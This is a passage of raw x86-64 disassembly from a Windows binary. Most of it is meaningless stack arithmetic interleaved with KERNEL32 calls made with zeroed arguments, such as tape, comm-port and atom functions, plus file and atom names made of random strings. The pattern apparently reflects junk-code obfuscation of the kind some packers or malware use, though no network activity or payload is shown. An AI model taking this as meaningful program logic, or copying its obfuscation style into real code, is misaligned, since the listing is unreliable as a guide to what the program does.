jb 0x1400175ab
movsx eax, word [rsp + 0x1d04]
mov rcx, qword [rsp + 0xc268]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1401c8a10], ax
mov rcx, qword [rsp + 0xc180]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f14]
or eax, ecx
mov word [rsp + 0x1f38], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
mov rax, qword [rsp + 0xb910]
mov rcx, qword [rsp + 0xc0b0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ae8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rcx, qword [rsp + 0xc010]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f44]
and eax, ecx
mov rcx, qword [rsp + 0xc1c8]
mov word [rcx], ax
movsx eax, word [rsp + 0x137c]
movsx ecx, word [0x1401c8a10]
sar eax, cl
mov rcx, qword [rsp + 0xc2b8]
mov word [rcx], ax
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc268]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1d04], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc020], rax
mov rax, qword [rsp + 0xc210]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc350]
mov qword [rsp + 0xc358], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc358]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xc0d8], rax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f0c]
shl eax, cl
mov rcx, qword [rsp + 0xc0a8]
mov word [rcx], ax
mov rcx, qword [rsp + 0xc010]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6334], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x628c], eax
lea rcx, [rsp + 0x1d3b8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6434], eax
mov rax, qword [rsp + 0xc328]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x376]
or eax, ecx
mov byte [rsp + 0x377], al
mov rcx, qword [rsp + 0xc290]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0x6328]
mov ecx, dword [0x1401c8a18]
sub ecx, eax
mov eax, ecx
mov dword [0x1401c7008], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
movzx ecx, word [rsp + 0x1f2c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f08], ax
lea rdx, [rsp + 0x25ff0]
mov rcx, qword [rsp + 0xc078]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x62a8], eax
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f20]
sub eax, ecx
mov rcx, qword [rsp + 0xc1c8]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6258], eax
lea rcx, [rsp + 0x1d3b8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0xc2b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc1c0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1f1c], ax
movzx eax, word [rsp + 0xa5c]
movzx ecx, word [rsp + 0x1f0c]
add eax, ecx
mov word [rsp + 0x1f14], ax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa5c]
add eax, ecx
mov word [rsp + 0x1f14], ax
mov rax, qword [rsp + 0xc130]
mov rcx, qword [rsp + 0xc0b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc1d8], rax
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov eax, dword [rsp + 0x631c]
sub eax, 0x31
mov dword [rsp + 0x631c], eax
mov rax, qword [rsp + 0xc210]
mov rcx, qword [rsp + 0xc0d8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xa148], rax
movzx eax, word [rsp + 0x1f38]
movzx ecx, word [rsp + 0xa5c]
and eax, ecx
mov rcx, qword [rsp + 0xc1c8]
mov word [rcx], ax
movzx ecx, word [rsp + 0x1f24]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f5c], ax
movsx eax, byte [rsp + 0x376]
movsx ecx, byte [rsp + 0x377]
sar eax, cl
mov byte [rsp + 0x375], al
movsx eax, word [0x1401c8a10]
movsx ecx, word [rsp + 0x1d04]
or eax, ecx
mov word [rsp + 0x1f1c], ax
lea rdx, [rsp + 0x25f48]
mov rcx, qword [rsp + 0xc078]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x62b4], eax
mov rax, qword [rsp + 0xc328]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1d7]
shl eax, cl
mov byte [0x1401c8a12], al
jmp 0x140017211
mov rax, qword [rsp + 0xc130]
mov rcx, qword [rsp + 0xc0b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb0d8], rax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc1c8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x9c0], ax
mov rax, qword [rsp + 0xc268]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x137c]
or eax, ecx
mov rcx, qword [rsp + 0xc2b8]
movsx ecx, word [rcx]
mov dword [rsp + 0x6438], ecx
movsx edx, word [rsp + 0x1d04]
movzx ecx, dl
mov edx, dword [rsp + 0x6438]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x1400176f4
mov eax, dword [0x1401c8a18]
mov ecx, dword [rsp + 0x5ed0]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x6254]
mov edx, dword [rsp + 0x63c4]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x140017672
xor r8d, r8d
mov edx, 0x83
mov rcx, qword [rsp + 0xc2e0]
call qword [sym.imp.KERNEL32.dll_EraseTape]
mov dword [rsp + 0x6254], eax
mov ecx, 0xaa
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [rsp + 0x6398]
mov ecx, dword [rsp + 0x5728]
sub ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x62d4]
mov edx, dword [rsp + 0x62cc]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x140196084
lea rax, [rsp + 0x375]
mov qword [rsp + 0xc368], rax
movzx eax, byte [rsp + 0x30b]
movzx ecx, byte [rsp + 0x26d]
add eax, ecx
movzx ecx, byte [rsp + 0x253]
movzx edx, byte [rsp + 0x374]
xor ecx, edx
cmp eax, ecx
jl 0x140195ea5
mov rcx, qword [rsp + 0xc290]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6334], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc370], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x63f0], eax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
lea rcx, [rsp + 0x1d390]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rax, [rsp + 0xbeb8]
mov qword [rsp + 0xc378], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
movsx eax, word [rsp + 0x1f1c]
movsx ecx, word [0x1401c8a10]
add eax, ecx
mov rcx, qword [rsp + 0xc268]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x1f3c]
mov qword [rsp + 0xc380], rax
mov rax, qword [rsp + 0xc088]
mov qword [rsp + 0xc388], rax
mov rax, qword [rsp + 0xc130]
mov rcx, qword [rsp + 0xb0d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc0b0], rax
mov r9d, 2
lea r8, [rsp + 0xc318]
mov rdx, qword [rsp + 0xc098]
mov rcx, qword [rsp + 0xc1a8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x632c], eax
movzx ecx, word [rsp + 0x1f04]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f60], ax
mov rax, qword [rsp + 0x9ae8]
mov rcx, qword [rsp + 0xc2e8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xaeb0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc2f8], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6258], eax
lea rax, [rsp + 0xb910]
mov qword [rsp + 0xc390], rax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc380]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1f44], ax
movzx eax, byte [rsp + 0x374]
movzx ecx, byte [rsp + 0x26d]
shl eax, cl
mov byte [rsp + 0x253], al
mov eax, dword [rsp + 0x62d0]
mov dword [rsp + 0x6440], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
lea rcx, [rsp + 0x1d368]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0xc390]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb0d8]
and rcx, rax
mov rax, rcx
mov qword [0x1401c7010], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6444], eax
mov rcx, qword [rsp + 0xc180]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x62a8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
mov rax, qword [rsp + 0xc378]
mov rcx, qword [rsp + 0xc210]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xc0d8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc398], rax
mov eax, dword [rsp + 0x6254]
mov dword [rsp + 0x6448], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6394], eax
mov rax, qword [rsp + 0xc368]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc328]
movsx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x376], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x63f0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
mov rax, qword [rsp + 0xc268]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc1c0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc2b8]
mov word [rcx], ax
lea rcx, [rsp + 0x1fbb8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc268]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc2b8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1994], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f0c]
or eax, ecx
mov word [rsp + 0xa5c], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x627c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
lea rax, [0x1401c7010]
mov qword [rsp + 0xc3a0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
mov rax, qword [rsp + 0xc350]
mov rax, qword [rax]
mov qword [rsp + 0xc3a8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc3b0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xc3b8], rax
mov eax, dword [rsp + 0x6440]
mov dword [0x1401c8a1c], eax
lea rax, [rsp + 0x644c]
mov qword [rsp + 0xc3c0], rax
movsx eax, byte [rsp + 0x377]
movsx ecx, byte [rsp + 0x375]
shl eax, cl
mov byte [rsp + 0x376], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6394], eax
mov rax, qword [rsp + 0xc2b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc268]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1994], ax
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x9c0]
sub eax, ecx
mov word [rsp + 0x848], ax
lea rax, [rsp + 0xaeb0]
mov qword [rsp + 0xc3c8], rax
movzx eax, word [rsp + 0xfdc]
mov rcx, qword [rsp + 0xc0a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x9c0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
movzx eax, byte [rsp + 0x30b]
mov byte [rsp + 0x378], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xc3d0], rax
mov eax, dword [rsp + 0x62cc]
mov ecx, dword [rsp + 0x6440]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x62d4], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6394], eax
mov r9d, 0x21ba
xor r8d, r8d
lea rdx, [rsp + 0xc398]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6324], eax
lea rcx, [rsp + 0x1fbb8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [0x1401c7010]
mov rcx, qword [rsp + 0xb0d8]
add rcx, rax
mov rax, rcx
mov qword [0x1401c7018], rax
mov rax, qword [rsp + 0xc3c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6380]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6448], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov edx, 0x2634
mov rcx, qword [rsp + 0xc370]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6360], eax
mov rcx, qword [rsp + 0xc010]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xc328]
movzx eax, byte [rax]
mov byte [rsp + 0x379], al
mov rax, qword [rsp + 0xc378]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc350]
mov qword [rsp + 0xc3d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc3d8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xc350]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0xc010]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6420], eax
movsx eax, word [rsp + 0x1f50]
mov rcx, qword [rsp + 0xc1c0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x134c], ax
movzx eax, word [rsp + 0x1f3c]
mov rcx, qword [rsp + 0xc380]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc1c8]
mov word [rcx], ax
lea rcx, [rsp + 0x1fbe8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xba40]
mov qword [rsp + 0xc3e0], rax
lea rcx, str.Qzk6KaAo_Rai_ubWweEu_UQGucBj
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1f5c], ax
lea rcx, str.q.RRcN_TRWK_8A
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1f64], ax
lea rdx, [rsp + 0x25f80]
mov rcx, qword [rsp + 0xc078]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x632c], eax
mov rax, qword [rsp + 0xa1e0]
cqo
mov rcx, qword [rsp + 0xc3c8]
idiv qword [rcx]
mov qword [rsp + 0xc218], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc3e8], rax
movsx eax, word [rsp + 0x137c]
movsx ecx, word [0x1401c8a10]
xor eax, ecx
mov word [rsp + 0x1f50], ax
movzx eax, byte [rsp + 0x378]
mov byte [0x1401c8a16], al
movzx eax, word [rsp + 0x848]
movzx ecx, word [rsp + 0x1f38]
sar eax, cl
mov word [rsp + 0xfc8], ax
mov eax, dword [rsp + 0x6348]
mov ecx, dword [rsp + 0x644c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6380], eax
mov rax, qword [rsp + 0xc0d8]
mov qword [rsp + 0xc3f0], rax
mov rcx, qword [rsp + 0xc048]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, byte [rsp + 0x377]
movsx ecx, byte [rsp + 0x379]
imul eax, ecx
mov byte [rsp + 0x376], al
mov rax, qword [0x1401c7010]
mov rcx, qword [rsp + 0xc3c8]
mov qword [rsp + 0xc3f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc3f8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xc1d8], rax
movzx eax, word [rsp + 0x134c]
mov word [rsp + 0x1f68], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x63f0], eax
movzx eax, word [rsp + 0xfdc]
movzx ecx, word [rsp + 0xa5c]
or eax, ecx
mov word [rsp + 0x1f3c], ax
lea rdx, [rsp + 0x26028]
mov rcx, qword [rsp + 0xc330]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6408], eax
xor r9d, r9d
lea r8, [rsp + 0xc318]
mov rdx, qword [rsp + 0xc1e0]
mov rcx, qword [rsp + 0xc330]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6428], eax
mov eax, dword [rsp + 0x62d4]
movzx ecx, al
mov eax, dword [rsp + 0x6398]
sar eax, cl
mov dword [rsp + 0x5aac], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
mov eax, dword [rsp + 0x62d0]
mov dword [0x1401c8a20], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
lea rcx, [rsp + 0x1fcd8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rcx, [rsp + 0x1fbb8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, byte [rsp + 0x26d]
movzx ecx, byte [rsp + 0x253]
sub eax, ecx
mov byte [rsp + 0x30b], al
lea rcx, str.CM_c58CAx4dPfb
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1f6c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
mov rax, qword [rsp + 0xc3c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc3e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc388], rax
lea rcx, [rsp + 0x1d390]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0xc368]
movzx eax, byte [rax]
mov byte [rsp + 0x37a], al
mov rax, qword [rsp + 0xc350]
mov rcx, qword [rsp + 0xc210]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc1a0], rax
mov r9d, 0x1a7
xor r8d, r8d
lea rdx, [rsp + 0xc140]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6450], eax
lea rax, [rsp + 0x6328]
mov qword [rsp + 0xc400], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
lea rax, [rsp + 0x1f50]
mov qword [rsp + 0xc408], rax
movzx eax, word [rsp + 0xa5c]
mov rcx, qword [rsp + 0xc380]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xfc8], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xc3c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc130]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xba40], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
lea rcx, [rsp + 0x1fbb8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.RwZ4BiHiWERlUv12EvZh9
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc410], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
movzx ecx, word [rsp + 0x1f54]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f34], ax
mov rax, qword [rsp + 0xc378]
mov rcx, qword [rsp + 0xc210]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x1401c7020], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc418], rax
mov rcx, qword [rsp + 0xc040]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc380]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1404], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
movsx eax, word [rsp + 0x1d04]
mov rcx, qword [rsp + 0xc268]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1f50], ax
mov rax, qword [0x1401c7018]
mov qword [rsp + 0xc420], rax
mov rax, qword [rsp + 0xc328]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc368]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x376], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
lea rdx, [rsp + 0x25f48]
mov rcx, qword [rsp + 0xc1a8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6454], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
movzx ecx, word [rsp + 0x1f54]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f48], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6458], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov rax, qword [rsp + 0xc378]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc350]
mov qword [rsp + 0xc428], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc428]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xbf50], rax
lea rax, [0x1401c8a18]
mov qword [rsp + 0xc430], rax
mov rax, qword [rsp + 0xc380]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc1c8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xc0a8]
mov word [rcx], ax
mov rax, qword [rsp + 0xc3a0]
mov rcx, qword [rsp + 0xc3c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xba40], rax
movzx eax, word [rsp + 0x848]
mov word [0x1401c8a24], ax
mov eax, dword [rsp + 0x5728]
mov dword [rsp + 0x645c], eax
lea rax, [rsp + 0x26d]
mov qword [rsp + 0xc438], rax
movsx eax, word [rsp + 0x1d04]
movsx ecx, word [rsp + 0x1f68]
sub eax, ecx
mov word [rsp + 0x137c], ax
movzx ecx, word [rsp + 0x1f2c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f24], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.ti5gNHhuMy5bMNq0E2mAz
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc440], rax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
mov word [rsp + 0x1f70], ax
lea rcx, [rsp + 0x1fc78]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xc368]
movsx eax, byte [rax]
imul eax, eax, 0x12
mov byte [rsp + 0x377], al
lea rcx, [rsp + 0x1d390]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc1b8], rax
xor r9d, r9d
lea r8, [rsp + 0xc1e0]
mov rdx, qword [rsp + 0xc098]
mov rcx, qword [rsp + 0xc440]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6460], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc120], rax
mov rax, qword [0x1401c7020]
movzx ecx, al
mov rax, qword [rsp + 0xa148]
shl rax, cl
mov qword [rsp + 0xc0d8], rax
lea rcx, [rsp + 0x1d3b8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0xc3c0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc400]
mov qword [rsp + 0xc448], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc448]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x60f4], eax
mov rax, qword [rsp + 0xc268]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f50]
or eax, ecx
mov word [rsp + 0x1994], ax
mov rax, qword [rsp + 0xc380]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfdc]
sub eax, ecx
mov word [0x1401c7028], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
mov rax, qword [rsp + 0xba40]
mov qword [rsp + 0xc450], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xc458], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
mov rax, qword [rsp + 0xc3c8]
mov rcx, qword [rsp + 0xc420]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc3e0], rax
mov rax, qword [0x1401c7018]
cqo
idiv qword [rsp + 0xc2e8]
mov qword [rsp + 0xaeb0], rax
lea rcx, [rsp + 0x1fc78]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rcx, qword [rsp + 0xc3b8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x62b0], eax
